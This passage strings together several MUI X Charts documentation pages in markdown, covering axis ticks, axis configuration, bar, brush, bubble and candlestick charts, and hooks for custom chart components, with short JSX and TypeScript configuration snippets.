It takes an array of frequencies at which ticks can be placed.
Those frequencies must be sorted from the largest to the smallest.
For example `['years', 'months', 'days']`.
Visible ticks are selected according to those frequencies and the `tickNumber`.

The `ordinalTimeTicks` property can either be an implementation of the `TickFrequencyDefinition` type or a subset of the built-in frequencies: `'years'`, `'quarterly'`, `'months'`, `'biweekly'`, `'weeks'`, `'days'`, `'hours'`.

When using `ordinalTimeTicks` the property `tickPlacement` is ignored, and computation are done as if set to `'middle'`.

In the following demo, you can modify the `ordinalTimeTicks` based on built-in frequencies and see how it impacts zoom behavior.

{{"demo": "OrdinalTickPlacement.js"}}

The `TickFrequencyDefinition` is an object made of following properties:

- `getTickNumber: (from: Date, to: Date) => number` Returns the number of ticks that will be displayed between `from` and `to` dates.
- `isTick: (prev: Date, value: Date) => boolean` Returns `true` is a tick should be placed on `value`. For example if it's the beginning of a new month.
- `format: (d: Date) => string` Returns for tick label.

The built-in frequency definitions are exported as `tickFrequencies` from `'@mui/x-charts/utils'`.

In the following demo, we use the `tickFrequencies` to display quarters and weeks with different labels.

{{"demo": "CustomTickFrequency.js"}}

---

### Data Charts Axis Axis (`docs/data/charts/axis/axis.md`)

---
title: Charts - Axis
productId: x-charts
components: ChartsAxis, ChartsReferenceLine, ChartsText, ChartsXAxis, ChartsYAxis
---

# Charts - Axis

<p class="description">Define, format, and customize Chart axes.</p>

An axis is a reference line that data points are measured against in a chart.
The MUI X Line Chart, Bar Chart, Scatter Chart, and Heatmap give you customization options for both x-axes and y-axes to suit a wide range of use cases.

## Creating custom axes

Use the `xAxis` and `yAxis` props to define custom axes.
These props expect an array of objects.

In the demo below, two lines are rendered using the same data points.
One has a linear y-axis and the other has a logarithmic one.
Each axis definition is identified by its property `id`.
Then each series specifies the axis it uses with the `xAxisId` and `yAxisId` properties.

{{"demo": "ScaleExample.js"}}

:::info
ID management, as shown in the example above, is not necessary for most common use cases.

If you don't provide `xAxisId` or `yAxisId` then the series uses the axis defined first.
This is why you won't see definitions of `id`, `xAxisId`, or `yAxisId` in most demos in the Charts docs—they rely on the default values.
:::

### Axis type and data

The axis type is specified by its property `scaleType`.
The axis definition object has a `data` property which expects an array of values corresponding to the `scaleType`, as shown in the table below:

| scaleType                              | Description                                              | Number | Date | String |
| :------------------------------------- | :------------------------------------------------------- | :----: | :--: | :----: |
| `'band'`                               | Splits the axis in equal bands.                          |   ✅   |  ✅  |   ✅   |
| `'point'`                              | Splits the axis in equally spaced points.                |   ✅   |  ✅  |   ✅   |
| `'linear'` `'log'` `'symlog'` `'sqrt'` | Maps numerical values to the available space.            |   ✅   |  ❌  |   ❌   |
| `'time'` `'utc'`                       | Maps JavaScript `Date()` objects to the available space. |   ❌   |  ✅  |   ❌   |

Some series types also require specific axis attributes:

- In line charts, the `xAxis` must have a `data` array so each y-value maps to a specific x-value for proper chart rendering.
- In bar charts, the axis that represents categories (x-axis for vertical bars or y-axis for horizontal bars) must use `scaleType: 'band'`.

## Axis formatter

Axis data can be displayed in ticks, tooltips, and other locations.
You can use the `valueFormatter` property to change how the data is displayed.
The formatter's second argument provides rendering context for advanced use cases.

In the demo below, `valueFormatter` is used to shorten months and introduce a new line for ticks.
It uses the `context.location` to determine where the value is rendered.

{{"demo": "FormatterDemo.js"}}

### Ticks without labels

Some use cases may call for displaying ticks with no labels.
For example, it's common to use ticks to indicate a logarithmic scale but omit the labels from the axis when they'd be too numerous or complex to display.

The default tick formatter achieves this by rendering an empty string for ticks that should not show labels.
If you want to customize the formatting, but want to keep the default behavior for ticks without labels, you can check that the `context.defaultTickLabel` property is different from the empty string:

{{"demo": "TicksWithoutLabels.js"}}

### Using the D3 formatter

The context gives you access to the axis scale, the number of ticks (if applicable), and the default formatted value.
You can use the D3 [`tickFormat(tickNumber, specifier)`](https://d3js.org/d3-scale/linear#tickFormat) method to adapt the tick format based on the scale properties as shown below:

{{"demo": "FormatterD3.js"}}

## Axis subdomain

By default, the axis domain is computed so that all data is visible.
To show a specific range of values, you can provide the `min` and/or `max` properties to the axis definition:

```js
xAxis={[
  {
    min: 10,
    max: 50,
  },
]}
```

{{"demo": "MinMaxExample.js"}}

### Relative axis subdomain

You can adjust the axis range relative to its data by using the `domainLimit` option.
This expects one of three possible values:

- `"nice"` (default): Rounds the domain to human-friendly values
- `"strict"`: Sets the domain to the min/max value to display
- `(minValue, maxValue) => { min, max }`: Receives the calculated extrema as parameters, and should return the axis domain

The demo below illustrates these differences in behavior, showing data ranging from -15 to 92 with different domain limits:

{{"demo": "CustomDomainYAxis.js"}}

## Axis direction

By default, the axes run from left to right and from bottom to top.
You can apply the `reverse` property to change this:

{{"demo": "ReverseExample.js"}}

## Position

You can customize axis positioning with the `position` property of the axis configuration.
This property expects the following values:

- `'top'` or `'bottom'` for the x-axis
- `'left'` or `'right'` for the y-axis
- `'none'` to hide the axis

{{"demo": "ModifyAxisPosition.js"}}

### Hiding axes

To hide an axis, set its `position` to `'none'`.
Note that the axis is still computed and used for scaling.

{{"demo": "HidingAxis.js"}}

### Multiple axes on one side

You can display multiple axes on one side.
If two or more axes share the same `position`, they're displayed in the order they're defined from closest to farthest away from the chart.

{{"demo": "MultipleAxes.js"}}

### Coordinates

You can obtain the coordinates of the axis by calling the `useXAxisCoordinates()` or `useYAxisCoordinates()` hooks.

Below is an example of how to use the these hooks to get the coordinates of several axes and render rectangles delineating their area.

{{"demo": "AxisCoordinatesDemo.js"}}

## Grouped axes

To group `band` or `point` axes together, provide a `groups` property in the axis definition.
This property expects an array of objects with a `getValue()` function.
This feature is available for both x- and y-axes.

The `getValue()` function receives the axis data value and should return a group name.
Each group name is used as-is, overriding any `valueFormatter` for the axis.
Groups are displayed in the order they're defined in the `groups` array.

The demos below show the feature with:

- The x-axis grouped by month, quarter, and year.
- The y-axis is grouped by category and subcategory.

{{"demo": "GroupedAxes.js", "defaultCodeOpen": false}}

{{"demo": "GroupedYAxes.js", "defaultCodeOpen": false}}

## Auto-sizing axes

You can set the axis `height` (for x-axes) or `width` (for y-axes) to `'auto'` to automatically calculate the axis dimension based on the tick label measurements.
This is useful when your tick labels have varying lengths or when you use rotated labels.

{{"demo": "AxisAutoSize.js"}}

Auto-sizing works well with rotated tick labels.
In the demo below, adjust the angle slider to see how the axis height automatically adapts to accommodate the rotated labels.

{{"demo": "AxisAutoSizeRotated.js"}}

Auto-sizing also works with grouped axes.
When an axis has `groups` defined, the auto-size calculation accounts for each group level's tick labels and tick sizes.

{{"demo": "GroupedAxesAutoSize.js"}}

:::info
Auto-sizing is computed on the client side after hydration.
During server-side rendering (SSR), the axis uses the default size until the client-side measurement is complete.
:::

## Symlog scale

A log scale cannot plot zero because log(0) is undefined.
To overcome this, you can use a symlog scale, which uses a linear scale for values close to zero and a logarithmic scale for the rest.
You can customize the value where the scale switches from linear to logarithmic using the `constant` property, which defaults to 1.

{{"demo": "SymlogScale.js"}}

## Composition

If you're using composition, you must provide the axis settings in the `<ChartsContainer />` using the `xAxis` and `yAxis` props.
This provides all the scaling properties to its children, and lets you use the `<XAxis/>` and `<YAxis/>` components as children.

In turn, those components require an `axisId` prop to link them to an axis you defined in the `<ChartsContainer />`.
You can choose their position with the `position` prop which accepts `'top'`/`'bottom'` for `<XAxis />` and `'left'`/`'right'` for `<YAxis />`.
The props described in the [rendering playground](/x/react-charts/axis-customization/#custom-axis-rendering) are also available.

{{"demo": "AxisWithComposition.js"}}

## Reference line

Use the `<ChartsReferenceLine />` component to add a reference line to a chart.
You can provide an `x` or a `y` prop for a vertical or horizontal line, respectively, at this value.

You can also add a `label` to this reference line, and position it using the `labelAlign` prop which accepts `'start'`, `'middle'`, and `'end'` values.
Elements can be styled with the `lineStyle` and `labelStyle` props.

More examples are available in [docs page about references](/x/react-charts/references/).

{{"demo": "ReferenceLine.js"}}

---

### Data Charts Bar Demo Bar Demo (`docs/data/charts/bar-demo/bar-demo.md`)

---
title: Charts - Bar demos
productId: x-charts
components: BarChart, BarElement, BarPlot
---

# Charts - Bar demos

<p class="description">Explore bar chart demos and examples.</p>

## TinyBarChart

{{"demo": "TinyBarChart.js"}}

## SimpleBarChart

{{"demo": "SimpleBarChart.js"}}

## StackedBarChart

{{"demo": "StackedBarChart.js"}}

## MixedBarChart

{{"demo": "MixedBarChart.js"}}

## PositiveAndNegativeBarChart

{{"demo": "PositiveAndNegativeBarChart.js"}}

## BarChartStackedBySign

{{"demo": "BarChartStackedBySign.js"}}

## BiaxialBarChart

{{"demo": "BiaxialBarChart.js"}}

## Population pyramid

{{"demo": "PopulationPyramidBarChart.js"}}

## Waterfall chart [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

The following demo shows a waterfall chart built with a [range bar chart](/x/react-charts/range-bar/).

{{"demo": "WaterfallChart.js"}}

## Histogram

A histogram displays the distribution of a numeric variable.
The Bar Chart has no built-in histogram, so split your dataset into equal-width bins first (the demo includes a `computeBins` helper as a starting point), then plot the counts.

Use a `band` x-axis with `categoryGapRatio` and `barGapRatio` set to `0` so adjacent bars touch — what makes a histogram readable.
To avoid artifacts between bars, set the `shape-rendering` to `'crispEdges'` for the bars.

{{"demo": "HistogramBarChart.js"}}

---

### Data Charts Bars Bars (`docs/data/charts/bars/bars.md`)

---
title: React Bar chart
productId: x-charts
components: BarChart, BarChartPro, BarElement, BarPlot, BarPlotPremium, ChartsGrid, BarLabel
---

# Charts - Bars

<p class="description">Use bar charts to compare discrete categories and quantities using bar length and a common baseline.</p>

## Overview

Bar charts compare discrete categories by showing quantities as bar lengths from a common baseline.
They work well for comparing magnitude across categories, highlighting trends, and comparing proportions at a glance.
Categories can be progressive (for example, time periods) or independent (for example, products, countries, or age brackets).

The horizontal bar chart below compares voter turnout in several European countries.

{{"demo": "ShinyBarChartHorizontal.js"}}

## Basics

To create a bar chart you need:

- One categorical dimension (for example, the x-axis for vertical bars or the y-axis for horizontal bars)
- One or more numerical values that set the length of each bar

Bar chart series must contain a `data` property with an array of values.

You can specify bar ticks with the `xAxis` prop.
The category axis uses `scaleType='band'` and its `data` should have the same length as your series.

{{"demo": "BasicBars.js"}}

### Using a dataset

If your data is stored in an array of objects, you can use the `dataset` helper prop.
It accepts an array of objects such as `dataset={[{x: 1, y: 32}, {x: 2, y: 41}, ...]}`.

You can reuse this data when defining the series and axes by using the `dataKey` property.
For example, `xAxis={[{ dataKey: 'x' }]}` or `series={[{ dataKey: 'y' }]}`.

{{"demo": "BarsDataset.js"}}

## Bar size

You can define bar dimensions with `categoryGapRatio` and `barGapRatio` properties.

The `categoryGapRatio` defines the gap between two categories.
The ratio is obtained by dividing the size of the gap by the size of the category (the space used by bars).

The `barGapRatio` defines the gap between two bars of the same category.
It's the size of the gap divided by the size of the bar.
So a value of `1` will result in a gap between bars equal to the bar width.
A value of `-1` will make bars overlap.

{{"demo": "BarGap.js", "hideToolbar": true, "bg": "playground"}}

## Stacking

Bar series accept a string property called `stack`.
Series with the same `stack` value are stacked on top of each other.

{{"demo": "StackBars.js"}}

### Stacking strategy

You can use the `stackOffset` and `stackOrder` properties to define how the series is stacked.

By default, they are stacked in the order you defined them, with positive values stacked above 0 and negative values stacked below 0.

See [Stacking](/x/react-charts/stacking/) for more details.

## Layout

### Bar direction

Use the `layout="horizontal"` prop to render bar charts in a horizontal layout.
If you're composing a custom component, set the `layout: 'horizontal'` property on each bar series object.

{{"demo": "HorizontalBars.js"}}

### Tick placement

When using a `"band"` scale, the axis has some additional customization properties for the tick position:

- `tickPlacement` for the position of ticks
- `tickLabelPlacement` for the position of the label associated with the tick

You can test all configuration options in the following demo:

{{"demo": "TickPlacementBars.js"}}

### Date axis

If your band axis represents dates that are sorted and evenly spaced (as is typical), you can set `ordinalTimeTicks` to pick certain date frequencies.
This modifies the [tick management](/x/react-charts/axis-ticks/#ordinal-tick-management).

Instead of one tick per band, the axis renders ticks according to the provided frequencies and the tick number.

### Minimum bar size

You can set a minimum bar size with the `minBarSize` property.
This property is useful when you want to ensure that bars are always visible, even when the data is sparse or the chart is small.

The `minBarSize` property is ignored if the series value is `null` or `0`.
It also doesn't work with stacked series.

{{"demo": "MinBarSize.js"}}

### Log scale

A bar chart renders a bar from 0 to the value of a data point. However, the logarithm of zero is undefined, meaning that a y-axis with a log scale cannot plot the bar.

You can work around this limitation by using a [symlog scale](/x/react-charts/axis/#symlog-scale).

## Customization

### Grid

You can add a grid in the background of the chart with the `grid` prop.

See [Axis—Grid](/x/react-charts/axis-ticks/#grid) for details.

{{"demo": "GridDemo.js"}}

### Color scale

As with other charts, you can modify the [series color](/x/react-charts/styling/#colors) either directly, or with the color palette.

You can also modify the color by using the axes' `colorMap`, which maps values to colors.
Bar charts use the following, in order of priority:

1. The value axis color
2. The band axis color
3. The series color

See [Styling—Value-based colors](/x/react-charts/styling/#value-based-colors) for the `colorMap` properties.

{{"demo": "ColorScale.js"}}

### Border radius

To give your bar chart rounded corners, set the `borderRadius` property on [`BarChart`](/x/api/charts/bar-chart/#bar-chart-prop-slots).
It works with any positive value and is properly applied to horizontal layouts, stacks, and negative values.

When composing a custom component, you can set the `borderRadius` prop on the `BarPlot` component.

{{"demo": "BorderRadius.js"}}

### CSS

You can customize the bar chart elements using CSS selectors.

Each series renders a `g` element that contains a `data-series` attribute.
You can use this attribute to target elements based on their series.

{{"demo": "BarGradient.js"}}

### Gradients

By default, a gradient's units are set to [`objectBoundingBox`](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Attribute/gradientUnits#objectboundingbox).
When applied to a bar, the gradient stretches to fill the entire size of the bar, regardless of the bar's value.

Alternatively, you can set `gradientUnits` to `userSpaceOnUse`, which stretches the gradient to fill the entire size of the chart.
With `userSpaceOnUse`, the gradient's coordinates are relative to the SVG, so a gradient with `x1="0"` and `x2="100%"` stretches across the entire width of the SVG.
This effectively reveals the gradient depending on the bar's value, as the gradient is clipped to the bar's size.

In the example below, there are two gradients:

1. The series `color` property references the gradient with `gradientUnits="objectBoundingBox"`, which is applied to the tooltip, legend, and other elements that reference the series color.
2. The bar's `fill` property is overridden using CSS to reference the gradient with `gradientUnits="userSpaceOnUse"`.

The first gradient is used for elements showing the whole gradient, such as tooltips and legend.
The second one is shown in the bars themselves that display the part of the gradient that corresponds to their value.

{{"demo": "BarOECDHouseholdSavings.js"}}

## Labels

You can display labels on the bars.
This can be useful to show the value of each bar directly on the chart.

If you provide `'value'` to the `barLabel` property of a bar series, the value of that bar is shown.
Alternatively, the `barLabel` property accepts a function that is called with the bar item and context about the bar.

In the example below, the value of the first series is displayed using the default formatter, and the value of the second series is formatted as US dollars.
The labels of the third series are hidden.

{{"demo": "BarLabel.js"}}

### Label placement

To customize the position of the bar label, set a series' `barLabelPlacement` property to one of the following values:

- `center`: the label is centered on the bar.
- `outside`: the label is placed after the end of the bar, from the point of view of the origin.
  For a vertical positive bar, the label is above its top edge.
  For a horizontal negative bar, the label is to the left of its leftmost limit.

{{"demo": "BarLabelPlacement.js"}}

:::info
When using `outside` placement, if the label doesn't fit in the chart area, it will be clipped.
To avoid this, you can decrease or increase the axis min/max, respectively, to make enough space for the labels.
:::

### Custom labels

To display, change, or hide labels based on conditional logic, provide a function to the `barLabel` prop.
Labels are not displayed if the function returns `null`.

The example below displays the text `'High'` on values higher than 10 and hides values when the generated bar height is lower than 60px.

{{"demo": "CustomLabels.js"}}

You can further customize the labels by providing a component to the `barLabel` slot.
The example below positions the labels above the bars they refer to.

{{"demo": "LabelsAboveBars.js"}}

### Stack total labels

The `barLabel` property only has access to a single bar, so it can't display a stack's total.
To show it, render a custom component as a child of the chart container.

The example below sums the series with the [`useBarSeries`](/x/react-charts/hooks/use-series/) hook and positions each total with the [`useXScale`](/x/react-charts/hooks/use-scale/) and [`useYScale`](/x/react-charts/hooks/use-scale/) scales.

{{"demo": "StackTotalLabels.js"}}

## Click events

Bar charts provide two click handlers:

- `onItemClick` for clicks on a specific bar
- `onAxisClick` for clicks anywhere in the chart

They both provide the following signature:

```js
const clickHandler = (
  event, // The mouse event.
  params, // An object that identifies the clicked elements.
) => {};
```

{{"demo": "BarClick.js"}}

:::info
There is a slight difference between the `event` of `onItemClick` and `onAxisClick`:

- For `onItemClick` the event is a React synthetic mouse event emitted by the bar component.
- For `onAxisClick` the event is a native mouse event emitted by the SVG component.

:::

If you're composing a custom component, you can incorporate click events as shown in the code snippet below.
Note that `onAxisClick` can handle both bar and line series if you mix them.

```jsx
<ChartsContainer onAxisClick={onAxisClick}>
  {/* ... */}
  <BarPlot onItemClick={onItemClick} />
</ChartsContainer>
```

## Animation

Chart containers respect [`prefers-reduced-motion`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/prefers-reduced-motion), but you can also disable animations manually by setting the `skipAnimation` prop to `true`.

When you set `skipAnimation` to `true`, the chart renders without animations.

```jsx
// For a single component chart
<BarChart skipAnimation />

// For a composed chart
<ChartsContainer>
  <BarPlot skipAnimation />
</ChartsContainer>
```

{{"demo": "BarAnimation.js"}}

## Performance

### SVG batch rendering

By default, each bar is drawn as an SVG `rect` element.
With many bars, this can slow down rendering.

To render bars more efficiently, you can set the `renderer` prop to `"svg-batch"`.
This has some trade-offs:

- Styling individual bars with CSS is not supported.
- Transparent highlight styles are not fully supported: the highlight is drawn as a bar on top for performance, so transparency can make the original bar show through.
- Bar highlight and fade animations are not available.
- The `onItemClick` handler receives a native `MouseEvent` instead of `React.MouseEvent`.
  The type was not changed to avoid breaking changes; add `import type {} from '@mui/x-charts/moduleAugmentation/barChartBatchRendererOnItemClick'` for correct typing.
- The batch renderer is not available for [range bar charts](/x/react-charts/range-bar/).

The example below uses the `renderer` prop to improve performance when rendering a dataset with 500 data points.

{{"demo": "BarBatchRenderer.js"}}

### WebGL renderer [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

For even larger datasets, `BarChartPremium` supports a WebGL renderer that draws all bars from a single `<canvas>` element.
Set the `renderer` prop to `"webgl"` to enable it.

The WebGL renderer has the same trade-offs as the batch renderer, plus a few additional ones:

- Per-bar DOM elements are not rendered, so custom slots that rely on them (such as a custom `bar` slot) are not applied.
- The WebGL canvas only draws the bar shapes. Axes, grid, highlights, focus outlines, and bar labels continue to rely on SVG.
- Requires a browser with WebGL 2 support.

{{"demo": "WebGLBars.js"}}

### Sampling [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Set the `sampling` prop on `BarChartPro` to draw only as many bars as the view can resolve when
zoomed out. See [Charts—Performance](/x/react-charts/performance/#sampling) for details and a live
demo.

## Composition

Use `ChartDataProvider` to provide `series`, `xAxis`, and `yAxis` props for composition.

In addition to the shared chart components available for [composition](/x/react-charts/composition/), you can use the `BarPlot` component to render the bars and their labels.

Here's how the bar chart is composed:

```jsx
<ChartsDataProvider>
  <ChartsWrapper>
    <ChartsLegend />
    <ChartsSurface>
      <ChartsGrid />
      <g clipPath={`url(#${clipPathId})`}>
        <BarPlot />
        <ChartsOverlay />
        <ChartsAxisHighlight />
        <FocusedBar />
        <FocusedScatterMark />
      </g>
      <ChartsAxis />
      <ChartsClipPath id={clipPathId} />
    </ChartsSurface>
    <ChartsTooltip />
  </ChartsWrapper>
</ChartsDataProvider>
```

{{"demo": "BarScatterCompostion.js"}}

---

### Data Charts Brush Brush (`docs/data/charts/brush/brush.md`)

---
title: Charts - Brush
productId: x-charts
components: ChartsBrushOverlay
---

# Charts - Brush

<p class="description">Let users select a region on a chart by clicking and dragging.</p>

The brush interaction enables users to select chart regions by clicking and dragging.
It captures the start and current positions of the selection, which you can use for:

- Highlighting trends or clusters within a defined range



- Selecting data points for further inspection, editing, or annotation
- Triggering callbacks or custom events based on the selection area

The brush is available in the following chart types:

- `LineChart`
- `BarChart`
- `ScatterChart`

Visual feedback is provided through the `ChartsBrushOverlay` component.

## Implementing the brush feature

You can enable the brush by setting `brushConfig={{ enabled: true }}` in a Cartesian chart.

By default, the brush has no visual feedback.
To display the selected area, you can add the `ChartsBrushOverlay` component as a child of your chart.

To create a custom interaction, you can use the `useBrush()` hook as shown in the [Custom overlay](#custom-overlay) section below.

{{"demo": "BrushBasic.js"}}

## Customization examples

### Custom overlay

You can create a custom brush overlay by building your own component that uses the `useBrush()` hook.
The example below displays the values at the start and end positions, along with the difference and percentage change between them.

{{"demo": "BrushCustomOverlay.js"}}

### Data selection

You can use the brush to select and display data points within the selection area.
The example below shows a scatter chart where you can select points by dragging, and the selected points are displayed below the chart.

{{"demo": "BrushScatterList.js"}}

### Using the `useBrush()` hook

The `useBrush()` hook provides access to the current brush state.
It returns an object with:

- `start`: The starting point of the brush selection (`{ x: number, y: number } | null`)
- `current`: The current point of the brush selection (`{ x: number, y: number } | null`)

```jsx
import { useBrush } from '@mui/x-charts/hooks';

function MyCustomOverlay() {
  const brush = useBrush();

  // No brush is in progress
  if (!brush) {
    return null;
  }

  const { start, current } = brush;

  // start.x, start.y - The coordinates where the brush started
  // current.x, current.y - The current coordinates of the brush

  return <g>{/* Your custom overlay */}</g>;
}
```

## Configuration

The `brushConfig` prop accepts an object with the following boolean options:

- `enabled` (default: `false`): Whether the brush interaction is enabled
- `preventTooltip` (default: `true`): Whether to prevent tooltip from showing during brush interaction
- `preventHighlight` (default: `true`): Whether to prevent highlighting during brush interaction

```jsx
<LineChart
  brushConfig={{
    enabled: true,
    preventTooltip: true,
    preventHighlight: true,
  }}
  // ... other props
/>
```

---

### Data Charts Bubble Bubble (`docs/data/charts/bubble/bubble.md`)

---
title: React Bubble chart
productId: x-charts
components: ScatterChart, ScatterChartPro, ScatterChartPremium
---

# Charts - Bubble

<p class="description">A bubble chart extends scatter by mapping data values to point sizes and colors, revealing a third or fourth dimension in two-dimensional space.</p>

## Overview

A bubble chart is a scatter chart where each point can have a variable size and color determined by data values.
The x and y positions encode two variables, while the bubble size and color encode additional ones.

{{"demo": "BubbleChartCO2Emissions.js"}}

## Mapping data to color

As with other charts, you can modify the [series colors](/x/react-charts/styling/#colors) either directly, or with the color palette.

You can also modify the color by using the axes' `colorMap`, which maps values to colors.
Scatter charts use the following, in order of priority:

1. The z-axis color
2. The y-axis color
3. The x-axis color
4. The series color

:::info
The z-axis is a third axis that lets you style scatter points by a value other than position.
Pass it with the `zAxis` prop.

The mapped value can come from the `colorValue` property on each series data point, or from the z-axis data.
You can set the color value in three ways:

```jsx
<ScatterChart
  // First option
  series={[{ data: [{ id: 0, x: 1, y: 1, colorValue: 5 }] }]}
  // Second option
  zAxis={[{ data: [5] }]}
  // Third option
  dataset={[{ price: 5 }]}
  zAxis={[{ dataKey: 'price' }]}
/>
```

:::

See [Styling—Value-based colors](/x/react-charts/styling/#value-based-colors) for the `colorMap` properties.

{{"demo": "ColorScale.js"}}

## Mapping data to size

You can also map a value to the size of each scatter point.

Set a `sizeMap` on a z-axis and point the series to it with the `sizeAxisId` prop.
The mapped value comes from the `sizeValue` property on each data point, or from the z-axis data.

The `sizeMap` supports the same `continuous`, `piecewise`, and `ordinal` types as `colorMap`, but it maps values to a marker radius in pixels.
A series can set both `colorAxisId` and `sizeAxisId` to style points by two values at once.

{{"demo": "SizeScale.js"}}

### Using zAxis in custom components

The `zAxis` provides color and size scales that the default scatter plot uses internally.

Custom markers receive `color` and `size` values that have already been mapped through these scales, making it easy to derive additional visual properties such as stroke color and stroke width.

For more advanced use cases, custom components can access z-axis scales directly with the `useZAxis()` hook and series data with the `useScatterSeries()` hook.

The example below renders the [Iris flower dataset](https://en.wikipedia.org/wiki/Iris_flower_data_set) with some classification prediction.
It uses 4 z-axes to map:

- The species to a fill color
- The predicted species to a stroke color
- The petal length to the size of the mark
- The confidence to the stroke width

{{"demo": "ScatterZAxis.js"}}

### Different size scales

By default, a `sizeMap` with type `'continuous'` transforms values with a square root scale.
That makes the values proportional to the surface of the bubble rather than its radius.

You can change that behavior with `sizeMap.interpolator: 'log' | 'linear' | 'sqrt'`, or by providing a function to `sizeMap.size`.

When you do, make the choice explicit in the copy so the size encoding is not misleading.

{{"demo": "DifferentSizeScale.js"}}

---

### Data Charts Candlestick Candlestick (`docs/data/charts/candlestick/candlestick.md`)

---
title: React Candlestick chart
productId: x-charts
components: CandlestickChart, CandlestickPlot
---

# Charts - Candlestick [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

<p class="description">A candlestick chart is used to visualize price movement over time.</p>

## Overview

A candlestick chart provides a visual overview of how a price changes over time, commonly used in financial contexts like stock market analysis.

Each candlestick represents a time period and shows where the price started, where it ended, and how high or low it moved during that period.

This makes it easier to understand overall trends, compare price movements, and see how buying and selling activity evolves.

{{"demo": "CandlestickOverview.js"}}

## Basics

Candlestick chart's series should contain a `data` property containing an array of open, high, low, and close (OHLC) prices for a given time period.

These OHLC values should be provided as an array in the following format: `[open, high, low, close]`.

Consequently, the `data` array should look similar to this:

```ts
const data = [
  [open1, high1, low1, close1],
  [open2, high2, low2, close2],
  // ...
];
```

You can specify the time period with the `xAxis` prop. This axis must have a band scale and its data should have the same length as your series.

{{"demo": "BasicCandlestick.js"}}

### Using a dataset

You can use the `dataset` prop to provide OHLC data and `datasetKeys` on the series to map dataset fields to the open, high, low, and close values.

See the [Dataset](/x/react-charts/dataset/) page to learn more.

{{"demo": "DatasetCandlestick.js"}}

## Value formatting

Use the series `valueFormatter` to customize how OHLC values appear in the tooltip.

The `valueFormatter` receives the individual field value (a number) and a context object with `dataIndex` and `field` properties.
The `field` property indicates which OHLC component is being formatted: `'open'`, `'high'`, `'low'`, or `'close'`.

{{"demo": "CandlestickValueFormatter.js"}}

## Customization

Similarly to other chart types, you can customize the appearance and behavior of the candlestick chart.

The example below shows how to define the formatting of values in both axes.

{{"demo": "CustomizedCandlestick.js"}}

### Color

Use the `upColor` and `downColor` properties on the series to customize the candle body colors.
The `upColor` is used when the close price is greater than or equal to the open price, and `downColor` when it is less.

Those properties accept callback with type `(mode: 'light' | 'dark') => string`.

{{"demo": "ColorCandlestick.js"}}

### Custom tooltip

When building a custom tooltip with the `useItemTooltip()` or `useAxesTooltip()` hooks, you need to provide `'ohlc'` as a generic type parameter.
By default, these hooks exclude the `'ohlc'` series type, so the OHLC-specific value shape is not available unless explicitly specified.

```tsx
// Item tooltip
const itemTooltipData = useItemTooltip<'ohlc'>();

// Axis tooltip
const axesTooltipData = useAxesTooltip<'ohlc'>();
```

This gives you properly typed `value` and `formattedValue` properties. Which are now objects containing the `open`, `high`, `low`, and `close` properties.

If your chart combines OHLC with other series types, provide a union:

```tsx
const axesTooltipData = useAxesTooltip<'ohlc' | 'line' | 'bar'>();
```

## Composition

Similar to other chart types, candlestick charts can be composed using multiple components to create more complex visualizations.

In this example, we demonstrate how to create a candlestick chart that displays the volume of trades as a bar chart, as well as the 20-day moving average, shown as a line chart.

:::info
When using composition, you need to set a scale type for the x-axis.

A candlestick series requires a band x-axis, so you need to set the `scaleType` of the x-axis to `band`.
:::

Since the candlestick plot is a WebGL canvas, you need to render it inside a `ChartsWebGLLayer`. You can read more about layering in the [Layering](/x/react-charts/composition/#layering) documentation.

{{"demo": "CandlestickComposition.js"}}

---

### Data Charts Components Components (`docs/data/charts/components/components.md`)

---
title: Charts - Custom components
productId: x-charts
components: ChartsClipPath, ChartsSurface
---

# Charts - Custom components

<p class="description">Create custom chart components using the provided hooks.</p>

The MUI X Charts package provides a set of hooks to aid in the creation of custom Chart components.

## Interact with dimensions

The following sections detail how to handle the various dimensions when building custom Charts, including height, width, margins, scale, and series data.

### Drawing area

Drawing area refers to the space available to plot data (such as scatter points, lines, or pie arcs).
Charts dimensions are defined by the following props:

- `height` and `width` for the SVG size; if not provided, these values are derived from the container
- `margin` for the space between the SVG border and the axes or the drawing area
- The axes dimension properties (`xAxis[].height` and `yAxis[].width`) that add extra space to draw axes

The `margin` is used to leave space for extra elements, or to let data items overflow the drawing area.

You can use the `useDrawingArea()` hook in the Chart subcomponents to get the coordinates of the drawing area:

```jsx
import { useDrawingArea } from '@mui/x-charts';

const { left, top, width, height } = useDrawingArea();
```

{{"demo": "BasicScaleDemo.js"}}

### Scales

Some Charts, such as Line, Bar, and Scatter, do a mapping between their series' data and the SVG coordinates.

For example, a line chart series with a value of $36,725 on the 6th of December 2022 could be mapped to coordinates (628, 514).
This operation can also be reversed:
The coordinate `x=628` would be associated with the 6th of December 2022 and `y=514` would be associated with the value $36,725.

These mappings depend on the dimensions of the SVG and the drawing area.
They also depend on [axis properties](/x/react-charts/axis/) such as the scale (linear, log, square root) and min/max values.
All of this data is available in the [`d3-scale` objects](https://github.com/d3/d3-scale).

You can use `useXScale()` and `useYScale()` to access these scales.
Both accept a number or a string.
Use a number to select the index of the axis to be used, or a string to select an axis by its ID.

The scale object is generated so that it maps values to SVG coordinates.
The drawing area is automatically accounted for.

#### Value to coordinate

The default `d3-scale` method maps from values to coordinates.
For example, you can get the `x=0` coordinate as follows:

```jsx
// get the default x-axis scale
const xAxisScale = useXScale();
// get the position associated to the value 0
const xOrigin = xAxisScale(0);
```

{{"demo": "OriginDemo.js"}}

#### Coordinate to value

The `d3-scale` object lets you convert a coordinate to a data value with the `invert()` method.

The next example contains two lines drawn using different y-axes.
By using `invert()`, the value associated with the current mouse coordinate `y` can be resolved as follows:

```jsx
<text>{leftAxisScale.invert(yCoordinate).toFixed(0)}</text>
```

{{"demo": "ScaleDemo.js"}}

### Series

Series information is accessible through the `useSeries()` hook for all series types, and the `use[Type]Series()` hook for a specific series type.
These hooks return the order of the series and their configuration, including data points, color, and more.

You can use that information to create custom charts.
For example, you can use `useLineSeries()` to obtain the series of a Line Chart and display an indicator of the minimum and maximum values of each series:

{{"demo": "SeriesDemo.js"}}

## Custom slot props with TypeScript

If the custom component requires additional props to work properly, TypeScript may throw type errors.
